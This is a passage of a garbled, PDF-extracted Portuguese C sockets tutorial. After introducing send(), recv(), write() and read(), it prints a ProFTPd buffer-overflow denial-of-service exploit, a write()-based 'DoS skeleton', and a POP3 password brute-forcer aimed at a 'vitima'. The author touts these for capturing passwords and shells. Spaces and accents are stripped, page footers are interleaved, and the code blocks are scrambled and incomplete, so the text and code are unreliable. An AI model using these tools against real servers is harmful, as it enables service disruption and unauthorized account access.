umsocket.Autilidadedissotudojbemevidentequandosemanipulam
aplicaesqueenvolvemsockets.veremoscomosedeclarasend()primeiro:
/*Headers*/
#include<sys/types.h>
#include<sys/socket.h>
intsend(intMeusocket,constvoid*msg,size_tlen,intflags);
onde:
+Meusocket>obomevelhoarquivosocket,nossovelhoconhecido.
+*msg>umponteiroparaamensagemquequeremosenviar.
+len>otamanhodamensagem.Seamensagemmuitograndepara
passaratmicamentesobreoprotocoloescolhido,amensagem
deerroEMSGSIZEretornada,eamensagemnotransmitida.
+flags>Soparmetrosadicionais,podemser:
#defineMSG_OOB0x1/*processadadosoutofband*/
#defineMSG_DONTROUTE0x4/*debuga*/
OflagMSG_OOBusadoparaenviardadosoutofbandemsockets
quesuportamisso(Ex.SOCKSTREAM);oprotocoloescolhidodeve
tambmsuportardadosoutofband.
OflagMSG_DONTROUTEusadogeralmentesparadiagnosticar
programas.
Umaboaolhadanasmanpagesdecadafunoajudabastante,casohaja
dvidasnisso.
Vimosadeclaraodafunosend(),veremosagoraafunorecv(),ela
similaremmuitosaspectosafunosend().Veremos:
/*Headers*/
#include<sys/types.h>
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
15/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
#include<sys/socket.h>
intrecv(intMeusocket,void*buf,intlen,unsignedintflags);
onde:
+Meusocket>osocketparalerdeoutro,nocaso,umsocketlocal.
+buf>Aquioendereodareadobuffer.
+len>otamanhodobuffer.
+flags>soformadosporMSG_OOBeMSG_PEEKpermitindoreceberdados
outofbandepermitindoespiardadosqueentram,
consequentemente.Estachamadadeveserusadasomentecom
socketsdotipoSOCK_STREAM.
Abaixoseguemmaisdoisexemplos,estesenvolvendotudoquefoiabordado
atagora.Oprimeiroexemploumsimplessocketservidor.
ServidorSimples
/*Velhosheadersdesempre*/
#include<stdio.h>
#include<stdlib.h>
#include<errno.h>
#include<string.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<sys/socket.h>
#include<sys/wait.h>
#defineMINHAPORTA20000/*Portaqueosusuariosiroseconectar*/
#defineBACKLOG10/*Quantasconexespendentesseroindexadas*/
main()
{
intMeusocket,Novosocket;/*escutaemMeusocket,novaconexo
emNovosocket*/
structsockaddr_inmeu_endereco;/*informaodomeuendereco*/
structsockaddr_inendereco_dele;/*informaodoenderecodoconector*/
inttamanho;
if((Meusocket=socket(AF_INET,SOCK_STREAM,0))==1)
{
perror("socket");
exit(1);
}
meu_endereco.sin_family=AF_INET;
meu_endereco.sin_port=htons(MINHAPORTA);
meu_endereco.sin_addr.s_addr=INADDR_ANY;/*colocaIPautomaticamente*/
bzero(&(meu_endereco.sin_zero),8);/*Zeraorestodaestrutura*/
1)
if(bind(Meusocket,(structsockaddr*)&meu_endereco,sizeof(structsockaddr))==
{
perror("bind");
exit(1);
}
if(listen(Meusocket,BACKLOG)<0)
{
perror("listen");
exit(1);
}
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
16/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
while(1){
tamanho=sizeof(structsockaddr_in);
if((Novosocket=accept(Meusocket,(structsockaddr
*)&endereco_dele,&tamanho))<0){
perror("accept");
continue;
printf("Servidor:chegandoconexode
%s\n",inet_ntoa(endereco_dele.sin_addr));
if(!fork()){
if(send(Novosocket,"Sejabemvindo!\n",16,0)==1)
perror("send");
close(Novosocket);
exit(0);
close(Novosocket);
while(waitpid(1,NULL,WNOHANG)>0);/*Limpaoprocessocrianca.fork()*/
}
}
Servidorsimples
Aestumexemplodeumsimplesservidor,oqueelefazquandoalgum
seconectaraele,eleenviarumamensagempelafunosend(),nocaso
"Sejabemvindo!".Abaixosegueumesquemaqueumclientesimplesparaesse
servidor.
ClienteSimples
/*Headers*/
#include<stdio.h>
#include<stdlib.h>
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<sys/socket.h>
#definePORTA20000/*Portaparaconectar*/
#defineMAXDATASIZE100/*mximonmerodebytesquepoderemosenviar
porvez*/
intmain(intargc,char*argv[])
{
intMeusocket,numbytes;
charbuf[MAXDATASIZE];
structhostent*he;
structsockaddr_inseu_endereco;
if(argc!=2){
fprintf(stderr,"Uso:clientehostname\n");
exit(1);
}
if((he=gethostbyname(argv[1]))==NULL)/*enviahostinfo*/
{
herror("gethostbyname");
exit(1);
}
if((Meusocket=socket(AF_INET,SOCK_STREAM,0))==1)
{
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
17/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
seu_endereco.sin_family=AF_INET;
seu_endereco.sin_port=htons(PORTA);
seu_endereco.sin_addr=*((structin_addr*)he>h_addr);
bzero(&(seu_endereco.sin_zero),8);
==1)
if(connect(Meusocket,(structsockaddr*)&seu_endereco,sizeof(structsockaddr))
if((numbytes=recv(Meusocket,buf,MAXDATASIZE,0))==1)
{
perror("recv");
exit(1);
}
buf[numbytes]='\0';
printf("Recebido:%s",buf);
close(Meusocket);
return0;
perror("socket");
exit(1);
perror("connect");
exit(1);
Aestoosexemplos,executeoservidorprimeiro,depoisocliente.Isso
sparademonstrardemodofcilcomosepodemanipularasfunes
send()erecv().Veremosagoraumexemplomaisabrangentedessasduas
funes,algomaisprticoparanossosintuitos.
DenialofserviceparaProftpd
/*
*CrashesProFTPd1.2.0pre4becauseofabufferoverflow.
*ThisbugwasdiscoveredbytheNessusSecurityScanner
*Idon'tknowifthisflawcanbeexploitedtogain
*rootprivileges.
*Thenameofthecreateddirectorymustnotexceed255chars!
*WrittenbyRenaudDeraison<deraison@cvs.nessus.org>
*
*(Esseexploitserveparacrashearumservidordeftp,ProFTPd)
*Eualtereiofonteparaosnossospropsitos,simplificandoascoisas
*aomximo,masnomomentobastaseateramanipulaoqueeledeu
*asfunessend()erecv().(NashLeon)
*/
/*Headersnecessrios*/
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<sys/types.h>
#include<netinet/in.h>
#defineVITIMA"127.0.0.1"
#defineDIR_ESCRITA"/incoming"
intmain()
{
structin_addrvitima;
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
18/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
intMeusocket;
structsockaddr_insa;
char*dir_escrita="CWD"DIR_ESCRITA"\r\n";
char*mkd;
char*cwd;
/*Aquisepegaadefinioacimadohostqueservitimado*/
inet_aton(VITIMA,&vitima);
mkd=malloc(300);bzero(mkd,300);
cwd=malloc(300);bzero(cwd,300);
Meusocket=socket(PF_INET,SOCK_STREAM,0);
bzero(&sa,sizeof(sa));
sa.sin_family=AF_INET;
sa.sin_port=htons(21);
sa.sin_addr.s_addr=vitima.s_addr;
sprintf(cwd,"CWD");
memset(cwd+4,'X',254);
sprintf(cwd,"%s\r\n",cwd);
/*Vemosaquiusopraticoderecv()esend()*/
recv(Meusocket,buf,1024,0);
send(Meusocket,"USERftp\r\n",strlen("USERftp\r\n"),0);
recv(Meusocket,buf,1024,0);
bzero(buf,1024);
send(Meusocket,"PASSjoe@\r\n",strlen("PASSjoe@\r\n"),0);
recv(Meusocket,buf,1024,0);
bzero(buf,1024);
send(Meusocket,dir_escrita,strlen(dir_escrita),0);
recv(Meusocket,buf,1024,0);
bzero(buf,1024);
if(!(connect(Meusocket,(structsockaddr*)&sa,sizeof(structsockaddr_in))))
{
char*buf=malloc(1024);
inti;
sprintf(mkd,"MKD");
memset(mkd+4,'X',254);
sprintf(mkd,"%s\r\n",mkd);
for(i=0;i<40;i++)
send(Meusocket,mkd,strlen(mkd),0);
recv(Meusocket,buf,1024,0);
if(!strlen(buf))
printf("FTPdRemotocrasheado(veja/var/log/messages)\n");
exit(0);
bzero(buf,1024);
printf("Servidornovulneravel\n");
close(Meusocket);
elseperror("connect");
return(0);
}
FIMDOEXEMPLO
Bemaestumexemplobemsimplesdeenvioerecebimentodedados
usandoasfunessend()erecv()paraderrubarumservico.Essatcnicade
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
19/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
DenialofServicepodesertilparamuitasfinalidades,masnodeveser
usadacomodiversoousimplesvandalismo,lembrando,nonosresponsabilizamos
pelomauusodasferramentasdescritasnessetxt.Comessasfunes
vocjestaptoaescreversocketsparaenviaraquelesfamosos"remote
rootbufferoverflow"!!:)
Asfunessendto()erecvfrom()usadasemsockets
SOCK_DGRAM,serovistasmuitoembreve,masantesveremosasfunes
write()eread()quesoparecidascomsend()erecv().
***ASFUNESwrite()eread()|
Essasfunespossuemamesmafinalidadedasfunessend()erecv().
write()serveparaescrevernumsocket,enquantoread()paralerdeumsocket.
Afunoread()equivalenteafunorecv()comumparmetroflagde0.
Damesmaforma,write()equivalenteasend()comflagsiguala0.Essas
funesdevemserusadassomenteemsistemasunix,lembrese,essetutorial
foiescritoparausuarioslinux,linuxslackware,notredsux!
Veremosadeclaraodelas:
/*Headernecessario*/
#include<unistd.h>
ssize_tread(intMeusocket,void*buf,size_tcount);
onde:
+Meusocket>Nossobomevelhoarquivosocket.
+*buf>Bufferdeondeserolidasasmensagens.
+count>Tamanhoembytesdamensagemaserlida.Secountiguala
zero,read()retornazeroenopossuioutroresultado.Se
countmaiorquesszize_max(declaradoanteriormente),o
resultadonoespecificado.
paraafunowrite()amesmacoisa:
#include<unistd.h>
ssize_twrite(intMeusocket,void*buf,size_tcount);
ondeosparmetrosequivalemaosmesmosparmetrosdesend().
Veremosumsimplesesquemaparaessasfunes,comecandocomumprograma
queenviadados(umasequnciadecaracterA),atravsdafunowrite():
/*PROGRAMAEXEMPLODEENVIODEDADOSUSANDOAfunoWRITE()
ESSEPROGRAMAFOIDESENVOLVIDOPORNASHLEONP/TXTSOBRESOCKETS.
TRANKSRAMONAEUNSEKURITYTEAM.
http://unsekurity.virtualave.net/
Esseprogramapoderservircomocarcaa(esqueleto)parapossveis
futurosprogramasgeradoresdeDenialOfService.
*/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/types.h>
#include<unistd.h>
#include<netdb.h>
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
20/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
#include<netinet/in.h>
/*OcorrespondenteemhexadocaracterA*/
#defineA0x41
main(intargc,char*argv[])
{
intMeusocket,porta,i;
structsockaddr_invitima;
structhostent*he;
char*buf[2000];
if(argc==1)
{
printf("Programaexemplodeusodewrite()eread()\n");
printf("PoderservircomoesqueletoparaumDoS!!\n");
printf("Uso:%shostporta\n",argv[0]);
exit(0);
}
porta=atoi(argv[2]);
Meusocket=socket(AF_INET,SOCK_STREAM,0);
if(Meusocket<0)
{
perror("Socket");
exit(1);
}
he=gethostbyname(argv[1]);
if(he==NULL)
{
herror("Erro!Hostdesconhecidomano!\n");
exit(1);
}
vitima.sin_family=he>h_addrtype;
vitima.sin_port=htons(porta);
vitima.sin_addr=*((structin_addr*)he>h_addr);
bzero(&(vitima.sin_zero),8);
if(connect(Meusocket,(structsockaddr*)&vitima,sizeof(vitima))<0)
{
fprintf(stderr,"Erroemconnect()!!\n");
exit(1);
}
/*Zeramosobufferresponsvelporconterdadosdeenvio*/
bzero(buf,sizeof(buf));
/*Aquinsenchemosobufferdeenviocomocaracterdesejado*/
for(i=0;i<1024;i++)
{
buf[i]=(char*)A;
}
buf[10241]='\0';
/*Finalmentenossafunowrite(),queenviaroconteudodebuffer*/
printf("Enviandodados!!\n");
if(write(Meusocket,buf,strlen(buf))<0)
{
printf("Erroemwrite()\n");
close(Meusocket);
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
21/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
exit(1);
printf("Dadosenviadoscomsucesso!\n");
close(Meusocket);
return0;
}
Esseprogramaacimaservesomenteparaenviardadosparaumdeterminado
hosteumadeterminadaporta,vocpoderiamuitobemdeclararumservio
exemplo,ftp,ondesepoderiatentarumDoSusandoumsimplesesquemacomo:
sprintf(buffer,"USER%s",buf);
write(Meusocket,buffer,strlen(buffer));
Lgico,oprogramadeveriaprimeiroestarvulnervelaesseoverflow,mas
porincrvelquepareca,nosaopoucososprogramasqueaindahojeso
vulnerveisaisso.Masquantoaoverflows.Jtemosumbomtextosobreisso
queserpublicadomuitoembreve.
Paraafunoread(),eufizumexemplomaisprtico,masumpoucogrande,
deformaquetenteideixaromaisclaropossvelamanipulaodessasduas
funes.Oprogramaquesegueabaixoumbrutalforcequetrabalhaemcima
deumlogindado,elebsico,fazcoisasbsicas,masvocpoderfazer
comqueelesejaotimizado,pense!Efaa!!Brutalforceumatcnica,
emboramuitosnoconsideramtcnicaporcausadonome..:)..masescrever
umbrutalpodesermuitotil..aindahojeemdianapocadefirewalls,isso
aindavlido..Vejacomoofuncionamentodoprograma,lembrese:
SABENDOFAZERUMOQUETEIMPEDEDEFAZERTODOS?
***TERCEIROEXEMPLOPRTICO|
/*ProgramadesenvolvidoporNashLeonparatentarumbrutalforce
emservidorespop,utilizandopermutaesecombinaesnum
login.Noutilizaarquivospasswd,comoamaioriadosbrutaispora.
Brevedisponibilizareiumaversomaiscomplexaeatualdesseprograma.
OBS:Naomeresponsabilizopelomauusodesteprograma,elefoi
construidosomentecompropsitoseducacionais!!
nashleon@yoo.com.br
ThanksRamonaeunsekurityteam.
http://unsekurity.virtualave.net
*/
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<unistd.h>
#include<netinet/in.h>
#include<netdb.h>
#definePORTA110
intatacar(char*vitima,intporta,char*login,char*senha);
voidUn(char*nome1,char*host);
voidUns(char*nome1,char*nome2,char*host);
voidUnse(char*nome1,char*host);
voidmodo_errado();
main(intargc,char*argv[])
{
charsenhar[30];
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
22/27
08/10/2015
9)\n");
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
if(argc<4)
{
system("clear");
fprintf(stderr,"\n\t\t\tNASHLEONBRUTALFORCEv0.1\n\n\n");
fprintf(stderr,"DesenvolvidoporNashLeoneunsekurityteam!\n");
fprintf(stderr,"http://unsekurity.virtualave.net\n");
fprintf(stderr,"Uso:%s<vitima><login><modo>\n\n",argv[0]);
fprintf(stderr,"Ondemodopodeser:\n");
fprintf(stderr,"un>somentepasswdigualalogin\n");
fprintf(stderr,"uns>passwdigualaloginaocontrario\n");
fprintf(stderr,"unse>passwdigualalogin+umnmeronofinal(0a
fprintf(stderr,"unsek>Todososmodosacima.\n");
exit(0);
if(argv[3])
if(!strcmp(argv[3],"un"))
system("clear");
printf("**********************NASHLEONBRUTALFORCEv0.1
**********************\n");
printf("Executandomodo\"un\">Somentesenhasiguaisaos
logins!!\n");
printf("Boasortemano!!\n");
Un(argv[2],argv[1]);
return0;
if(!strcmp(argv[3],"uns"))
system("clear");
printf("***********************NASHLEONBRUTALFORCEv0.1
***********************\n");
printf("Executandoemmodo\"unsek\">Senhaiguaisaologinao
contrario!!\n");
strcpy(senhar,argv[2]);
Uns(argv[2],senhar,argv[1]);
return0;
if(!strcmp(argv[3],"unse")){
system("clear");
printf("**********************NASHLEONBRUTALFORCEv0.1
**********************\n");
printf("Executandoemmodo\"unse\">Senhasigualaologin+
nmero(0a9)\n");
printf("BoaSorteMano!!\n");
Unse(argv[2],argv[1]);
return0;
if(!strcmp(argv[3],"unsek")){
system("clear");
printf("*********************NASHLEONBRUTALFORCEv0.1
*********************\n");
printf("Executandoemtodososmodospossiveisdestaversao!!\n");
printf("Boasortemano!!\n");
Un(argv[2],argv[1]);
Uns(argv[3],senhar,argv[1]);
Unse(argv[2],argv[1]);
return0;
}
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
23/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
modo_errado();
voidmodo_errado()
{
printf("Modoerrado\n");
exit(1);
}
voidUn(char*nome1,char*host)
{
charsenha[30];
intporta=PORTA;
strcpy(senha,nome1);
atacar(host,porta,nome1,senha);
}
atacar(char*vitima,intporta,char*login,char*senha)
{
chartempl[512],temps[512],envia[1024],recebe[1024],saida[1024];
intMeusocket,len;
structhostent*he;
structsockaddr_inlascado;
he=gethostbyname(vitima);
if(he<0)
{
printf("HostDesconhecidomano!!\n");
exit(1);
}
Meusocket=socket(AF_INET,SOCK_STREAM,0);
if(Meusocket<0)
{
fprintf(stderr,"Erronosocketmano!!\n");
exit(1);
}
lascado.sin_family=he>h_addrtype;
lascado.sin_port=htons(porta);
lascado.sin_addr=*((structin_addr*)he>h_addr);
bzero(&(lascado.sin_zero),8);
if(connect(Meusocket,(structsockaddr*)&lascado,sizeof(lascado))<0)
{
printf("Erroemconnect()mano!!\n");
close(Meusocket);
exit(0);
}
bzero(recebe,sizeof(recebe));
len=read(Meusocket,recebe,strlen(recebe));
sprintf(templ,"USER%s\n",login);
if(write(Meusocket,templ,strlen(templ))<strlen(templ))
fprintf(stderr,"Falhaemwrite()!!\n");
return1;
bzero((char*)&recebe,sizeof(recebe));
if(read(Meusocket,recebe,sizeof(recebe))<0)
perror("read()");
return1;
recebe[(strlen(recebe)2)]='\0';
/*Aquichecaseexistelogin*/
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
24/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
if(strstr(recebe,"+OK")==NULL)
{
return1;
}
bzero((char*)&envia,sizeof(envia));
read(Meusocket,envia,1024);
bzero((char*)&temps,sizeof(temps));
sprintf(temps,"PASS%s\n",senha);
if(write(Meusocket,temps,strlen(temps))<strlen(temps))
{
perror("write()");
return1;
}
if(read(Meusocket,envia,sizeof(envia))<0)
perror("read()");
return1;
envia[(strlen(envia)2)]='\0';
/*Aquidizsesenhacorreta*/
if(strstr(envia,"+OK")!=NULL)
{
printf("Passwordvalidomano!!\n");
printf("login\"%s\"possuisenha\"%s\".\n",login,senha);
bzero((char*)&saida,sizeof(saida));
sprintf(saida,"%s","QUIT");
write(Meusocket,saida,strlen(saida));
bzero((char*)&saida,sizeof(saida));
bzero((char*)&saida,sizeof(saida));
return0;
}
bzero((char*)&envia,sizeof(envia));
bzero((char*)&recebe,sizeof(recebe));
bzero((char*)&saida,sizeof(saida));
sprintf(saida,"%s","QUIT");
write(Meusocket,saida,strlen(saida));
bzero((char*)&saida,sizeof(saida));
return0;
voidUns(char*nome1,char*nome2,char*host)
{
inttamanho,i;
intporta=PORTA;
tamanho=strlen(nome1);
for(i=0;i<tamanho;i++)
nome2[i]=(&nome1[tamanhoi])[1];
nome2[tamanho]='\0';
atacar(host,porta,nome1,nome2);
}
voidUnse(char*nome1,char*host)
{
charsenhas[30];
inti;
for(i=0;i<10;++i)
{
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
25/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
sprintf(senhas,"%s%d",nome1,i);
}
atacar(host,PORTA,nome1,senhas);
Bem.aestamigos,umbrutalforce.Nousodafunoread(),eu
coloqueiumespaoparaoterminadornulocomoem:
envia[(strlen(envia)2)]='\0';
Geralmenteissosefaznecessrio.Comessebrutalforce,possivel,
compacincia,logico!Vocconseguircapturaralgumassenhas,bemcomo
shells...gostariadelembrar,noentanto,queessenoumbommtodo,
poisdeixamuitorastro,bemcomoexistemsistemasquenopermitem
conexodeforanaporta110.Maspegueosconceitos,comumpoucode
dedicao,vocpodermelhoraresseprograma,oumesmofazerumbem
melhorquetentaemoutrasportas,ex.porta80,sepossvelnavtima,
seriaumaboa.Fechoaquioltimoexemplodessetutorial,esperoque
elestenhamsidoteisousejamteisparavoc,lembrandoamigo,sevoc
achouissotudodifcil,nodesanime,procureoutrostextossobresockets,
existemmuitosemelhoresdoqueeste,sevocachoufcil,esperoqueos
conceitosdastcnicassirvamparavoc,bemcomodigoqueembreve,
escrevereialgomaiscomplexoparanutrirseusconhecimentos.
***CONSIDERAESFINAIS|
Terminamosessafaseinicialdeescritadesockets,jtemosmateriais
quaseprontossobreusodemaisfunescomoselect(),bemcomomaterial
sobreUDPsocks,masnopublicaremosaindaporquestodeprioridade,
comoescrevemosparaNewbies,publicaremosprimeirooutrosmateriais,mas
embreve,muitobrevemesmo,estardisponvelaquicoisasmais
interessantesaindasobresocketsemunixetalvezwinsocks.
Esperomesmoquetudoqueescreviacimatenhaalgumvalortilparaalgum,
lembrandosempre,queauniofazafora,semaispessoasseengajarem
emescreverepublicartcnicaseconceitosdefuadores,semdvidao
cenariotendeacrescer.Obrigadoaquelesquemeincentivaramnaescrita
desteedosoutrostextos,bemcomoosqueseoporam,vocssoaminha
maiorinspirao!!:)..Umadascoisasquemefezentrarnessavidade
fuador,foiumdilemadatica:"LIBERDADEDEINFORMAO!",guardandoou
retendooqueeuaprendi,estareifugindoaodilemaquemeatraiu,e
consequentementefazendomorreroespiritohackerquehdentrodemim.
Umabraocordialatodos!
NashLeonvulgocoraodeleao.
***ALGUNSLINKSSOBREPROGRAMACAODESOCKETS|
http://www.lowtek.com/sockets/
http://www.ecst.csuchico.edu/~beej/guide/ne
http://www.auroraonline.com/sockfaq
http://kipper.york.ac.uk/~vic/sockfaq
http://packetstorm.securify.com/programmingtutorials/Sockets/
FIMDOARQUIVO
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
26/27
08/10/2015
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
27/27